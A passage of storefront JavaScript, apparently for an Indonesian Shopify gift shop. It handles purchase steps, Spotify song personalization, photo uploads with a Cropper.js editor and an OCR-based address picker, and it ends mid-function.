10242    const next = parent.next(".sectionPurchase")
10243    
10244    // Check if there's no next section, proceed directly to addToCart
10245    if(next.length === 0 || !next.hasClass("sectionPurchase")) {
10246      await addToCart()
10247      return
10248    }
10249    
10250    if(next.hasClass("purchaseAddress")) {
10251      if(productType !== '') {
10252        console.log("clarity event " + productType + ' purchaseDelivery')
10253        window.clarity("event", `${productType} purchaseDelivery`)
10254        // window.clarity("set", productType, `purchaseDelivery - ${productDate}`)
10255      }
10256      
10257      // Check if Kota Pengiriman is "Kota Lainnya"
10258      const kotaPengiriman = $("#cities").val()
10259      if(kotaPengiriman === 'Kota Lainnya') {
10260        // Skip address form and go directly to addToCart
10261        await addToCart()
10262        return
10263      }
10264    }
10265    const data = $("#itemAddons").find(".selected")
10266    const length = $(".quantity-cart-46067682607319").val()
10267    const checked = data.length;
10268    if(checked > 0) {
10269      if(length > 0) {
10270        $(".purchaseAddon").addClass("purchaseAddonSpotify")
10271        customSpotify(1, length, 'addon')
10272      } else {
10273        listAddon()
10274      }
10275    } else {
10276      parent.addClass("hide")
10277      next.removeClass("hide")
10278    }
10279  })
10280
10281  $("#personalizeBtnSpotify .btn").click(async function(){
10282    // First validate variant metafields
10283    if (typeof validateVariantMetafields === 'function') {
10284      const isValid = validateVariantMetafields(true);
10285      if (!isValid) {
10286        // The validateVariantMetafields function already handles scrolling and focusing
10287        alert('Please select all required variant options before proceeding.');
10288        return; // Stop execution if validation fails
10289      }
10290    }
10291    
10292    const isCity = $("#cities[required]")
10293    const isDate = $("#propDeliveryDate[required]")
10294    if((isDate.length > 0 && isCity.length > 0) && (isCity.val() === '' || isDate.val() === '')) {
10295      alert('Please choose Delivery City & Delivery Date')
10296      return
10297    }
10298    const data = await customSpotify(1, 1, 'product')
10299    if(data) {
10300      $("#backgroundPopup").fadeIn("slow");
10301      $(".purchasePopupSpotify").fadeIn("slow");
10302
10303      if(productType !== '') {
10304        console.log("clarity event " + productType + ' spotify')
10305        window.clarity("event", `${productType} spotify`)
10306        // window.clarity("set", productType, `purchaseDelivery - ${productDate}`)
10307      }
10308    }
10309  })
10310
10311  function formatBytes(bytes, decimals = 2) {
10312    if (!+bytes) return '0 Bytes'
10313
10314    const k = 1024
10315    const dm = decimals < 0 ? 0 : decimals
10316    const sizes = ['B', 'KB', 'MB']
10317
10318    const i = Math.floor(Math.log(bytes) / Math.log(k))
10319
10320    return `${parseFloat((bytes / Math.pow(k, i)).toFixed(dm))} ${sizes[i]}`
10321  }
10322
10323  async function trackUrl(link){
10324    try {
10325      let trackId = link.split('/').pop().split('?')[0];
10326      let type = ''
10327      if(link.includes("spotify:")) {
10328        const uri = link.split('spotify:')[1]
10329        trackId = uri.split(':')[1]
10330        type = uri.split(':')[0] + 's'
10331      } else {
10332        if(link.match('track')){
10333          type = 'tracks'
10334        } else if(link.match('playlist')) {
10335          type = 'playlists'
10336        } else if(link.match('artist')) {
10337          type = 'artists'
10338        } else if(link.match('album')) {
10339          type = 'albums'
10340        }
10341      }
10342      console.log(`${host}/api/spotify/${type}/${trackId}`)
10343      const data = await getFetch(`${host}/api/spotify/${type}/${trackId}`)
10344      console.log(data, 'DATA')
10345      const song = data?.data?.name
10346      const artist = data?.data?.artist
10347      return {
10348        song, artist, type, trackId, status: data.status
10349      }
10350    } catch(err) {
10351      console.log(err)
10352    }
10353  }
10354
10355  $(".spotifyAddons").delegate(".uploadPhotoSpotify", "change", async function(){
10356    const parent = $(this).parents("[data-index]")
10357    const preview = parent.find(".previewImage")
10358    const file = $(this)[0].files[0];
10359    if (file) {
10360        const reader = new FileReader();
10361        reader.onload = async function(e) {
10362          parent.find(".uploadResult label").hide()
10363          parent.find(".uploadedResult").remove()
10364          parent.find(".uploadResult").append(`<div class="uploadedResult d-flex" style="justify-content: space-between">
10365          <p style="text-align: left;margin: 0;"><span style="color: #34C759;font-style: italic;font-size: 14px;text-overflow: ellipsis;overflow: hidden;max-width: 250px;white-space: nowrap;display: inline-block;vertical-align: middle;">${file.name}</span><span style="font-size: 14px;color: #34C759"> (${formatBytes(file.size)})</span> <span style="font-size: 14px">is uploaded</span></p>
10366          <div style="align-self: center"><span class="changeUpload" style="font-size: 12px;cursor: pointer">Change</span><span class="removeUpload" style="cursor: pointer;border-left: 1px solid;padding-left: 10px;margin-left: 10px;height: 10px;display: inline-flex;vertical-align: middle;">
10366<svg fill="none" height="11" viewBox="0 0 10 11" width="10" xmlns="http://www.w3.org/2000/svg">
10367  <path d="M2.07799 10.8332C1.78154 10.8332 1.52799 10.7276 1.31732 10.5165C1.10666 10.3054 1.0011 10.0523 1.00066 9.75716V1.49982H0.667322C0.572656 1.49982 0.493545 1.46782 0.429989 1.40382C0.366433 1.33982 0.334433 1.26049 0.333989 1.16582C0.333544 1.07116 0.365545 0.992047 0.429989 0.928491C0.494433 0.864935 0.573545 0.833158 0.667322 0.833158H3.00066C3.00066 0.69538 3.05177 0.57538 3.15399 0.473158C3.25621 0.370935 3.37621 0.319824 3.51399 0.319824H6.48732C6.6251 0.319824 6.7451 0.370935 6.84732 0.473158C6.94954 0.57538 7.00066 0.69538 7.00066 0.833158H9.33399C9.42866 0.833158 9.50777 0.865158 9.57132 0.929158C9.63488 0.993158 9.66688 1.07249 9.66732 1.16716C9.66777 1.26182 9.63577 1.34094 9.57132 1.40449C9.50688 1.46805 9.42777 1.49982 9.33399 1.49982H9.00066V9.75649C9.00066 10.0525 8.8951 10.3058 8.68399 10.5165C8.47288 10.7272 8.21954 10.8327 7.92399 10.8332H2.07799ZM8.33399 1.49982H1.66732V9.75649C1.66732 9.87605 1.70577 9.97427 1.78266 10.0512C1.85954 10.128 1.95799 10.1665 2.07799 10.1665H7.92399C8.04354 10.1665 8.14177 10.128 8.21866 10.0512C8.29554 9.97427 8.33399 9.87605 8.33399 9.75649V1.49982ZM3.87266 8.83316C3.96732 8.83316 4.04666 8.80116 4.11066 8.73716C4.17466 8.67316 4.20643 8.59405 4.20599 8.49982V3.16649C4.20599 3.07182 4.17399 2.99271 4.10999 2.92916C4.04599 2.8656 3.96666 2.8336 3.87199 2.83316C3.77732 2.83271 3.69821 2.86471 3.63466 2.92916C3.5711 2.9936 3.53932 3.07271 3.53932 3.16649V8.49982C3.53932 8.59449 3.57132 8.6736 3.63532 8.73716C3.69932 8.80116 3.77843 8.83316 3.87266 8.83316ZM6.12932 8.83316C6.22399 8.83316 6.3031 8.80116 6.36666 8.73716C6.43021 8.67316 6.46199 8.59405 6.46199 8.49982V3.16649C6.46199 3.07182 6.42999 2.99271 6.36599 2.92916C6.30199 2.86516 6.22288 2.83316 6.12866 2.83316C6.03399 2.83316 5.95466 2.86516 5.89066 2.92916C5.82666 2.99316 5.79488 3.07227 5.79532 3.16649V8.49982C5.79532 8.59449 5.82732 8.6736 5.89132 8.73716C5.95532 8.80071 6.03466 8.83271 6.12932 8.83316Z"fill=#757575 />
10368</svg>
10369</span></div></div>`)
10370          parent.find(".frameImageUploaded svg").hide()
10371          parent.find(".frameImage").addClass("uploaded")
10372          preview.attr("src", e.target.result);
10373          preview.show();
10374          let formData = new FormData(); 
10375          formData.append("file", file);
10376          const response = await fetch(`${host}/api/upload?name=${file.name}&type=image/jpeg&r=${Date.parse(new Date)}&shop=${shop}`, {
10377            method: "POST", 
10378            body: formData
10379          })
10380          const result = await response.json();
10381          if(result){
10382            parent.find(".resultPhotoSpotify").val(result.url)
10383          }
10384        }
10385        
10386        reader.readAsDataURL(file);
10387    } else {
10388        preview.hide();
10389    }
10390  });
10391
10392  $(".spotifyAddons").delegate(".uploadResult", "click", function(){
10393    $(this).next("input[type=file]").trigger("click")
10394  })
10395
10396  $(".spotifyAddons").delegate(".changeUpload", "click", function(){
10397    $(this).parents("input[type=file]").trigger("click")
10398  })
10399
10400  $(".spotifyAddons").delegate(".removeUpload", "click", function(){
10401    const parent = $(this).parents("[data-index]")
10402    parent.find(".uploadPhotoSpotify").val("")
10403    parent.find(".uploadResult label").show()
10404    parent.find(".uploadedResult").remove()
10405    parent.find(".frameImageUploaded svg").show()
10406    parent.find(".previewImage").hide()
10407    parent.find(".frameImage").removeClass("uploaded")
10408  })
10409
10410  $(".spotifyAddons").delegate("label.checkbox", "click", function(){
10411    const parent = $(this).parents("[data-index]")
10412    parent.toggleClass("checked")
10413  })
10414
10415  $(".spotifyAddons").delegate(".spotifyLink", "change", async function(){
10416    const parent = $(this).parents("[data-index]")
10417    const link = $(this).val()
10418    const data = await trackUrl(link)
10419
10420    console.log(data)
10421
10422    if(data.song) {
10423      parent.find(".spotifySong").val(data.song)
10424      parent.find(".spotifyData").find("h3").text(data.song)
10425    }
10426    if(data.artist) {
10427      parent.find(".spotifyArtist").val(data.artist)
10428      parent.find(".spotifyData").find("p").text(data.artist)
10429    }
10430    parent.find(".spotifyCode img").attr("src", `https://scannables.scdn.co/uri/plain/png/FFFFFF/black/640/spotify:${data.type.slice(0, -1)}:${data.trackId}`)
10431    // https://scannables.scdn.co/uri/plain/png/FFFFFF/black/640/spotify:track:1er51HCEBhIAtoEemKuC3M
10432    if (data.status === true) {
10433      parent.find(".btn-action .btn").attr("disabled", false)
10434    } else {
10435      parent.find(".btn-action .btn").attr("disabled", true)
10436    }
10437  })
10438  
10439  $(".spotifyAddons").delegate(".spotifySong", "keyup", async function(){
10440    const parent = $(this).parents("[data-index]")
10441    const v = $(this).val()
10442    parent.find(".spotifyData h3").text(v)
10443  })
10444
10445  $(".spotifyAddons").delegate(".spotifyArtist", "keyup", async function(){
10446    const parent = $(this).parents("[data-index]")
10447    const v = $(this).val()
10448    parent.find(".spotifyData p").text(v)
10449  })
10450
10451  $(".spotifyAddons").delegate(".btn-action .btn:not(.no-addon)", "click", async function(){
10452    const parent = $(this).parents("[data-index]")
10453    const length = parent.data("length")
10454    const index = parent.data("index")
10455    const indexNext = Number(index) + 1
10456    customSpotify(indexNext, length, 'addon')
10457  })
10458
10459  
10460  $(".spotifyAddons").delegate(".btn-action .btn.finished", "click", async function(){
10461    const parent = $(this).parents(".purchaseAddon")
10462    const next = parent.next(".sectionPurchase")
10463    parent.addClass("hide")
10464    next.removeClass("hide")
10465    next.find(".purchase-button").show()
10466    listAddon()
10467  })
10468
10469  $(".spotifyAddons").delegate(".back-spotify", "click", async function(){
10470    const t = $(this).parents("[data-index]")
10471    const parent = $(this).parents(".sectionPurchase")
10472    const current = t.data("index")
10473    const prevCurrent = Number(current) - 1
10474    if(current == 1) {
10475      parent.removeClass("purchaseAddonSpotify")
10476      parent.find(".purchase-button").show()
10477      parent.find(".headerPurchase h3").text("Make It More Special with Add-Ons!")
10478      $(".spotifyAddons").empty()
10479      $(".regulerAddons").show()
10480      return
10481    }
10482    t.hide()
10483    t.prev("[data-index]").show()
10484    t.remove()
10485    parent.find(".headerPurchase h3").text(`personalize spotify photo print - ${prevCurrent}`)
10486  })
10487
10488  $("#personalizeBtn .btn").click(async function() {
10489    loadPopupPersonalize()
10490  });
10491
10492  $(".sectionPurchaseSpotify").delegate(".btn[data-type=card]", "click", function(){
10493    $(".sectionPurchaseSpotify").hide()
10494    loadPopupPersonalize()
10495  })
10496
10497  $(".close-purchase-popup").click(function() {
10498      disablePopup();
10499  });
10500  $("#backgroundPopup").click(function() {
10501      // disablePopup();
10502  });
10503
10504  $("#popupCart .close-purchase-popup").click(function() {
10505      location.reload()
10506  });
10507
10508  $('#popupCart').on('hide.bs.modal', function (e) {
10509    location.reload()
10510  })
10511
10512  $(".next-card").click(function(){
10513    const parent = $(this).parents(".sectionPurchase")
10514    const next = parent.next(".sectionPurchase")
10515    parent.addClass("hide")
10516    next.removeClass("hide")
10517  })
10518
10519  $(".back-purchase-button").click(function(){
10520    const parent = $(this).parents(".sectionPurchase")
10521    const prev = parent.prev(".sectionPurchase")
10522    parent.addClass("hide")
10523    prev.removeClass("hide")
10524  })
10525  
10526  $(document).keypress(function(e) {
10527      if (e.keyCode == 27 && popupStatus == 1) {
10528          disablePopup();
10529      }
10530  });
10531  
10532  const parentImg = $(".case-img-preview")
10533  const parentVid = $(".case-video-preview")
10534  
10535  // Image Editor Variables
10536  let currentImageFile = null;
10537  let cropper = null;
10538  let originalImageSize = { width: 0, height: 0 };
10539  
10540  // Utility function to format file size
10541  function formatImageSize(width, height) {
10542    return `${width} × ${height}px`;
10543  }
10544
10545  // Utility function to estimate file size in bytes
10546  function estimateFileSize(width, height, quality = 0.9) {
10547    // Base calculation: assume ~3 bytes per pixel for JPEG at 90% quality
10548    const baseSize = width * height * 3;
10549    
10550    // Apply quality factor (90% quality typically results in ~30-40% compression)
10551    const compressionFactor = quality === 0.9 ? 0.35 : (1 - quality) * 0.5 + 0.2;
10552    
10553    const estimatedSize = Math.round(baseSize * compressionFactor);
10554    
10555    // Format to human readable
10556    if (estimatedSize < 1024) {
10557      return `${estimatedSize} B`;
10558    } else if (estimatedSize < 1024 * 1024) {
10559      return `${(estimatedSize / 1024).toFixed(1)} KB`;
10560    } else {
10561      return `${(estimatedSize / (1024 * 1024)).toFixed(1)} MB`;
10562    }
10563  }
10564
10565  // Update image size information
10566  function updateImageSizeInfo() {
10567    if (!cropper) return;
10568    
10569    const imageData = cropper.getImageData();
10570    const cropBoxData = cropper.getCropBoxData();
10571    const canvasData = cropper.getCanvasData();
10572    
10573    // Calculate the scale factor between natural image size and displayed size
10574    const scaleFactorX = originalImageSize.width / imageData.naturalWidth;
10575    const scaleFactorY = originalImageSize.height / imageData.naturalHeight;
10576    
10577    // Calculate the actual output size based on crop box and scale factor
10578    const outputWidth = Math.round((cropBoxData.width / canvasData.width) * imageData.naturalWidth);
10579    const outputHeight = Math.round((cropBoxData.height / canvasData.height) * imageData.naturalHeight);
10580    
10581    // Update display
10582    document.getElementById('originalSize').textContent = 
10583      `Original: ${formatImageSize(originalImageSize.width, originalImageSize.height)}`;
10584    document.getElementById('newSize').textContent = 
10585      `New: ${formatImageSize(outputWidth, outputHeight)}`;
10586  }
10587  
10588  // Initialize Image Editor Popup
10589  function initImageEditor() {
10590    const editorHTML = `
10591      <div id="imageEditorPopup" class="image-editor-popup">
10592        <div class="image-editor-overlay"></div>
10593        <div class="image-editor-modal">
10594          <div class="image-editor-header">
10595            <h3>Edit Image</h3>
10596            <button class="close-editor" type="button">&times;</button>
10597          </div>
10598          <div class="image-editor-content">
10599            <div class="image-editor-canvas">
10600              <img id="imageToEdit" src="" alt="Image to edit">
10601            </div>
10602            <div class="image-editor-controls">
10603              <div class="control-group">
10604                <label>Crop Aspect Ratio:</label>
10605                <select id="aspectRatio">
10606                  <option value="free">Free</option>
10607                  <option value="1">1:1 (Square)</option>
10608                  <option value="1.33">4:3</option>
10609                  <option value="1.77">16:9</option>
10610                  <option value="0.75">3:4 (Portrait)</option>
10611                </select>
10612              </div>
10613              <div class="control-group">
10614                <label>Image Size:</label>
10615                <div id="imageSizeInfo">
10616                  <span id="originalSize">Original: -</span>
10617                  <span id="newSize">New: -</span>
10618                </div>
10619              </div>
10620              <div class="control-group">
10621                <button type="button" id="rotateLeft">↺ Rotate Left</button>
10622                <button type="button" id="rotateRight">↻ Rotate Right</button>
10623                <button type="button" id="flipH">⟷ Flip H</button>
10624                <button type="button" id="flipV">⟱ Flip V</button>
10625              </div>
10626              <div class="control-group">
10627                <button type="button" id="resetImage">Reset</button>
10628                <button type="button" id="cropImage">Apply Crop</button>
10629              </div>
10630            </div>
10631          </div>
10632          <div class="image-editor-footer">
10633            <button type="button" class="btn-cancel">Cancel</button>
10634            <button type="button" class="btn-save">Save Changes</button>
10635          </div>
10636        </div>
10637      </div>`;
10638    
10639    if (!document.getElementById('imageEditorPopup')) {
10640      document.body.insertAdjacentHTML('beforeend', editorHTML);
10641      initImageEditorEvents();
10642    }
10643  }
10644
10645  // Initialize Image Editor Events
10646  function initImageEditorEvents() {
10647    const popup = document.getElementById('imageEditorPopup');
10648    const imageToEdit = document.getElementById('imageToEdit');
10649    
10650    // Close editor events
10651    popup.querySelector('.close-editor').onclick = closeImageEditor;
10652    popup.querySelector('.btn-cancel').onclick = closeImageEditor;
10653    popup.querySelector('.image-editor-overlay').onclick = closeImageEditor;
10654    
10655    // Save edited image
10656    popup.querySelector('.btn-save').onclick = saveEditedImage;
10657    
10658    // Aspect ratio change
10659    document.getElementById('aspectRatio').onchange = function() {
10660      if (cropper) {
10661        const value = this.value;
10662        cropper.setAspectRatio(value === 'free' ? NaN : parseFloat(value));
10663        updateImageSizeInfo();
10664      }
10665    };
10666    
10667    // Rotation and flip controls
10668    document.getElementById('rotateLeft').onclick = () => {
10669      if (cropper) {
10670        cropper.rotate(-90);
10671        updateImageSizeInfo();
10672      }
10673    };
10674    document.getElementById('rotateRight').onclick = () => {
10675      if (cropper) {
10676        cropper.rotate(90);
10677        updateImageSizeInfo();
10678      }
10679    };
10680    document.getElementById('flipH').onclick = () => {
10681      if (cropper) {
10682        cropper.scaleX(-cropper.getImageData().scaleX);
10683        updateImageSizeInfo();
10684      }
10685    };
10686    document.getElementById('flipV').onclick = () => {
10687      if (cropper) {
10688        cropper.scaleY(-cropper.getImageData().scaleY);
10689        updateImageSizeInfo();
10690      }
10691    };
10692    
10693    // Reset image
10694    document.getElementById('resetImage').onclick = function() {
10695      if (cropper) {
10696        cropper.reset();
10697        updateImageSizeInfo();
10698      }
10699    };
10700    
10701    // Apply crop
10702    document.getElementById('cropImage').onclick = function() {
10703      if (cropper) {
10704        const croppedCanvas = cropper.getCroppedCanvas();
10705        cropper.replace(croppedCanvas.toDataURL());
10706        updateImageSizeInfo();
10707      }
10708    };
10709  }
10710
10711  // Open Image Editor
10712  function openImageEditor(file) {
10713    currentImageFile = file;
10714    const popup = document.getElementById('imageEditorPopup');
10715    const imageToEdit = document.getElementById('imageToEdit');
10716    
10717    const reader = new FileReader();
10718    reader.onload = function(e) {
10719      imageToEdit.src = e.target.result;
10720      
10721      // Add show class with slight delay for smooth animation
10722      setTimeout(() => {
10723        popup.classList.add('show');
10724      }, 10);
10725      
10726      // Initialize Cropper.js
10727      if (cropper) {
10728        cropper.destroy();
10729      }
10730      
10731      // Load Cropper.js if not already loaded
10732      if (typeof Cropper === 'undefined') {
10733        loadCropperJS().then(() => {
10734          initCropper();
10735        });
10736      } else {
10737        initCropper();
10738      }
10739    };
10740    reader.readAsDataURL(file);
10741  }
10742
10743  // Initialize Cropper
10744  function initCropper() {
10745    const imageToEdit = document.getElementById('imageToEdit');
10746    
10747    cropper = new Cropper(imageToEdit, {
10748      aspectRatio: NaN,
10749      viewMode: 1,
10750      dragMode: 'move',
10751      autoCropArea: 1,
10752      responsive: true,
10753      background: false,
10754      guides: true,
10755      center: true,
10756      highlight: false,
10757      cropBoxMovable: true,
10758      cropBoxResizable: true,
10759      toggleDragModeOnDblclick: false,
10760      ready: function() {
10761        // Store original image size when cropper is ready
10762        const imageData = this.cropper.getImageData();
10763        originalImageSize.width = imageData.naturalWidth;
10764        originalImageSize.height = imageData.naturalHeight;
10765        
10766        // Update size info when cropper is ready
10767        updateImageSizeInfo();
10768      },
10769      crop: function() {
10770        // Update size info on crop change
10771        updateImageSizeInfo();
10772      }
10773    });
10774  }
10775
10776  // Load Cropper.js library
10777  function loadCropperJS() {
10778    return new Promise((resolve, reject) => {
10779      if (typeof Cropper !== 'undefined') {
10780        resolve();
10781        return;
10782      }
10783      
10784      // Load CSS
10785      const cssLink = document.createElement('link');
10786      cssLink.rel = 'stylesheet';
10787      cssLink.href = 'https://cdnjs.cloudflare.com/ajax/libs/cropperjs/1.5.12/cropper.min.css';
10788      document.head.appendChild(cssLink);
10789      
10790      // Load JS
10791      const script = document.createElement('script');
10792      script.src = 'https://cdnjs.cloudflare.com/ajax/libs/cropperjs/1.5.12/cropper.min.js';
10793      script.onload = resolve;
10794      script.onerror = reject;
10795      document.head.appendChild(script);
10796    });
10797  }
10798
10799  // Close Image Editor
10800  function closeImageEditor() {
10801    const popup = document.getElementById('imageEditorPopup');
10802    
10803    // Remove show class for animation
10804    popup.classList.remove('show');
10805    
10806    if (cropper) {
10807      cropper.destroy();
10808      cropper = null;
10809    }
10810    
10811    // Reset variables
10812    currentImageFile = null;
10813    originalImageSize = { width: 0, height: 0 };
10814    
10815    // Reset size display
10816    document.getElementById('originalSize').textContent = 'Original: -';
10817    document.getElementById('newSize').textContent = 'New: -';
10818  }
10819
10820  // Save Edited Image
10821  function saveEditedImage() {
10822    if (!cropper) return;
10823    
10824    // Get cropped canvas without any scaling - keep original dimensions
10825    const canvas = cropper.getCroppedCanvas({
10826      imageSmoothingEnabled: true,
10827      imageSmoothingQuality: 'high',
10828    });
10829    
10830    canvas.toBlob(function(blob) {
10831      // Create new file from edited image
10832      const editedFile = new File([blob], currentImageFile.name, {
10833        type: 'image/jpeg',
10834        lastModified: Date.now()
10835      });
10836      
10837      // Close editor
10838      closeImageEditor();
10839      
10840      // Process the edited image
10841      processEditedImage(editedFile);
10842    }, 'image/jpeg', 0.9);
10843  }
10844
10845  // Process Edited Image
10846  function processEditedImage(file) {
10847    const reader = new FileReader();
10848    reader.onload = function(e) {
10849      // Show loader on preview area
10850      $('.steps-card-preview').addClass('loading-upload');
10851      $('.ajax-loader').show();
10852      
10853      $('.placeholder-image').hide();
10854      $('.icon-upload').hide();
10855      $('.preview-image').show();
10856      $('.remove-image').show();
10857      $('.preview-image').attr('src', e.target.result);
10858      
10859      
10860      // Start upload process with edited image
10861      uploadMedia(file, 'image/jpeg').then(() => {
10862        $('.ajax-loader').hide();
10863        $('.steps-card-preview').removeClass('loading-upload loading');
10864        $(".nextBtn").attr("disabled", false);
10865      }).catch((error) => {
10866        $('.ajax-loader').hide();
10867        $('.steps-card-preview').removeClass('loading-upload loading');
10868        console.error('Upload failed:', error);
10869      });
10870      
10871    };
10872    reader.readAsDataURL(file);
10873  }
10874
10875  function readURL(input) {
10876    if (input.files && input.files[0]) {
10877      const file = input.files[0];
10878      
10879      // Check if it's an image file
10880      if (file.type.startsWith('image/')) {
10881        // Validate image file size
10882        if (file.size > 5242880) {
10883          alert('File size exceeds maximum limit 5 MB');
10884          return;
10885        }
10886        
10887        // Initialize image editor if not already done
10888        initImageEditor();
10889        
10890        // Open image editor for editing
10891        openImageEditor(file);
10892      } else if (file.type.match('video/')) {
10893        // Handle video upload normally
10894        if (file.size > 15728640) {
10895          alert('File size exceeds maximum limit 15 MB');
10896          return;
10897        }
10898        
10899        let reader = new FileReader();
10900        reader.onload = function (e) {
10901          $(".nextBtn").attr("disabled", true);
10902          $(".steps-card-preview").addClass("loading");
10903          
10904          
10905          uploadMedia(file, 'video/mp4').then(() => {
10906            $('.steps-card-preview').removeClass('loading');
10907            $(".nextBtn").attr("disabled", false);
10908          }).catch((error) => {
10909            $('.steps-card-preview').removeClass('loading');
10910            console.error('Upload failed:', error);
10911          });
10912          
10913        };
10914        reader.readAsDataURL(file);
10915      } else {
10916        alert('Please select a valid image or video file.');
10917      }
10918    }
10919  }
10920
10921  async function readURLPapan(input) {
10922    if (input.files && input.files[0]) {
10923      let reader = new FileReader();
10924
10925      reader.onload = function (e) {
10926        $('.btn-upload-papan').siblings('label').hide();
10927        $('.btn-upload-papan img').attr('src', e.target.result);
10928        $('.btn-upload-papan img').show();
10929        $('.svgLogoPapan').hide();
10930        
10931        // Show loader during upload
10932        $('.btn-upload-papan').addClass('loading-upload');
10933        $('.ajax-loader').show();
10934      }
10935      
10936      const type = 'image/jpeg'
10937      const name = `logo-7881418965207-${Date.parse(new Date())}`
10938
10939      try {
10940        let formData = new FormData(); 
10941        formData.append("file", input.files[0]);
10942        const response = await fetch(`${host}/api/upload?name=${name}&type=${type}&r=${randomString(3, '0123456789')}&shop=${shop}`, {
10943          method: "POST", 
10944          body: formData
10945        })
10946        const result = await response.json();
10947        if(result) {
10948          const url = result.url
10949          $("[data-properties=papan-logo]").val(url)
10950        }
10951        
10952        // Hide loader after upload completes
10953        $('.btn-upload-papan').removeClass('loading-upload');
10954        $('.ajax-loader').hide();
10955      } catch (error) {
10956        // Hide loader on error
10957        $('.btn-upload-papan').removeClass('loading-upload');
10958        $('.ajax-loader').hide();
10959        console.error('Upload failed:', error);
10960      }
10961
10962      reader.readAsDataURL(input.files[0]);
10963    }
10964  }
10965
10966  async function readURLAddress(input) {
10967    console.log(input, 'readURLAddress')
10968    if (input.files && input.files[0]) {
10969      let reader = new FileReader();
10970
10971      reader.onload = function (e) {
10972        $('.photo-address').attr('src', e.target.result);
10973        $('.photo-address').show();
10974        
10975        // Show loader during upload
10976        $('.photo-address').parent().addClass('loading-upload');
10977        $('.ajax-loader').show();
10978      }
10979      
10980      const type = 'image/jpeg'
10981      const name = input.files[0].name?.split('.')[0]
10982
10983      try {
10984        let formData = new FormData(); 
10985        formData.append("file", input.files[0]);
10986        const response = await fetch(`${host}/api/upload?name=${name}&type=${type}&r=${randomString(3, '0123456789')}&shop=${shop}`, {
10987          method: "POST", 
10988          body: formData
10989        })
10990        const result = await response.json();
10991
10992        // Hide loader after upload completes
10993        $('.photo-address').parent().removeClass('loading-upload');
10994        $('.ajax-loader').hide();
10995
10996        reader.readAsDataURL(input.files[0]);
10997
10998        return result
10999      } catch (error) {
11000        // Hide loader on error
11001        $('.photo-address').parent().removeClass('loading-upload');
11002        $('.ajax-loader').hide();
11003        console.error('Upload failed:', error);
11004        
11005        reader.readAsDataURL(input.files[0]);
11006        return null;
11007      }
11008    }
11009  }
11010
11011  // Hit OCR endpoint to extract address information
11012  async function hitOCREndpoint(imageUrl) {
11013    try {
11014      console.log('Starting OCR process with image:', imageUrl);
11015      
11016      const payload = {
11017        imageUrl: imageUrl
11018      }
11019      
11020      const response = await fetch('http://localhost:5001/api/shipping/ocr', {
11021        method: 'POST',
11022        headers: {
11023          'Content-Type': 'application/json'
11024        },
11025        body: JSON.stringify(payload)
11026      })
11027      
11028      if (!response.ok) {
11029        throw new Error(`OCR API error: ${response.statusText}`);
11030      }
11031      
11032      const data = await response.json();
11033      console.log('OCR response:', data);
11034      
11035      if (data.formatted && data.formatted.length > 0) {
11036        showAddressOptionsPopup(data.formatted)
11037      } else {
11038        alert('Tidak ada data alamat yang ditemukan dari foto. Silakan coba lagi.')
11039      }
11040    } catch (error) {
11041      console.error('OCR endpoint error:', error);
11042      alert('Ada error saat memproses foto alamat. Silakan coba lagi.')
11043    }
11044  }
11045
11046  // Display popup with address options
11047  function showAddressOptionsPopup(addresses) {
11048    // Initialize popup HTML if not exists
11049    if (!document.getElementById('ocrAddressPopup')) {
11050      initOCRAddressPopup()
11051    }
11052    
11053    const popup = document.getElementById('ocrAddressPopup');
11054    const optionsContainer = document.getElementById('ocrAddressOptions');
11055    
11056    // Clear previous options
11057    optionsContainer.innerHTML = '';
11058    
11059    // Add address options
11060    addresses.forEach((address, index) => {
11061      const option = document.createElement('div');
11062      option.className = 'ocr-address-option';
11063      option.setAttribute('data-index', index);
11064      option.setAttribute('data-county', address.county || '');
11065      option.setAttribute('data-postcode', address.postcode || '');
11066      option.setAttribute('data-state', address.state || '');
11067      option.setAttribute('data-country', address.country || '');
11068      
11069      const addressText = address.full_address || `${address.street || ''} ${address.city || ''} ${address.state || ''}`.trim();
11070      option.innerHTML = `
11071        <div class="address-content">
11072          <p class="address-text">${addressText}</p>
11073          <small class="address-details">${address.postcode || ''}</small>
11074        </div>
11075      `;
11076      
11077      option.addEventListener('click', function() {
11078        selectAddressOption(this, address)
11079      });
11080      
11081      optionsContainer.appendChild(option);
11082    });
11083    
11084    // Show popup
11085    popup.classList.add('show');
11086    document.body.classList.add('ocr-popup-open');
11087  }
11088
11089  // Initialize OCR address popup if not exists
11090  function initOCRAddressPopup() {
11091    const popupHTML = `
11092      <div id="ocrAddressPopup" class="ocr-address-popup">
11093        <div class="ocr-popup-overlay"></div>
11094        <div class="ocr-popup-content">
11095          <div class="ocr-popup-header">
11096            <h3>Pilih Alamat dari Foto</h3>
11097            <button class="close-ocr-popup">&times;</button>
11098          </div>
11099          <div class="ocr-popup-body">
11100            <div id="ocrAddressOptions" class="ocr-address-options"></div>
11101          </div>
11102        </div>
11103      </div>
11104    `;
11105    
11106    document.body.insertAdjacentHTML('beforeend', popupHTML);
11107    
11108    // Setup close buttons
11109    const popup = document.getElementById('ocrAddressPopup');
11110    const closeBtn = popup.querySelector('.close-ocr-popup');
11111    const overlay = popup.querySelector('.ocr-popup-overlay');
11112    
11113    closeBtn.addEventListener('click', closeOCRAddressPopup);
11114    overlay.addEventListener('click', closeOCRAddressPopup);
11115  }
11116
11117  // Handle address selection
11118  function selectAddressOption(element, address) {
11119    const county = element.getAttribute('data-county');
11120    const postcode = element.getAttribute('data-postcode');
11121    const state = element.getAttribute('data-state');
11122    const country = element.getAttribute('data-country');
11123    
11124    const fullAddress = address.full_address || `${address.street || ''} ${address.city || ''} ${address.state || ''}`.trim();
11125    
11126    console.log('Selected address:', {
11127      fullAddress,
11128      county,
11129      postcode,
11130      state,
11131      country
11132    });
11133    
11134    // Fill in the form fields with selected address
11135    $("[data-properties=alamat-penerima], #streetAddress").val(fullAddress);
11136    
11137    if (postcode) {
11138      $("[data-properties=kodepos], #zip").val(postcode);
11139    }
11140    
11141    if (state) {
11142      $("#province").val(state).trigger('change');
11143    }
11144    
11145    if (country) {
11146      $("#properties-kota-pengiriman-country").val(country);
11147    }
11148    
11149    // Close popup after selection
11150    closeOCRAddressPopup();
11151  }
11152
11153  // Close OCR address popup
11154  function closeOCRAddressPopup() {
11155    const popup = document.getElementById('ocrAddressPopup');
11156    if (popup) {
11157      popup.classList.remove('show');
11158      document.body.classList.remove('ocr-popup-open');
11159    }
11160  }
11161
11162  
11163
11164  
11165  async function addToCartUang() {
11166    var productAddOnId1 = 42122101162199;
11167    var productAddOnId2 = 42122101194967;
11168    var product_id = 7881418965207
11169    const data = {
11170      items: [
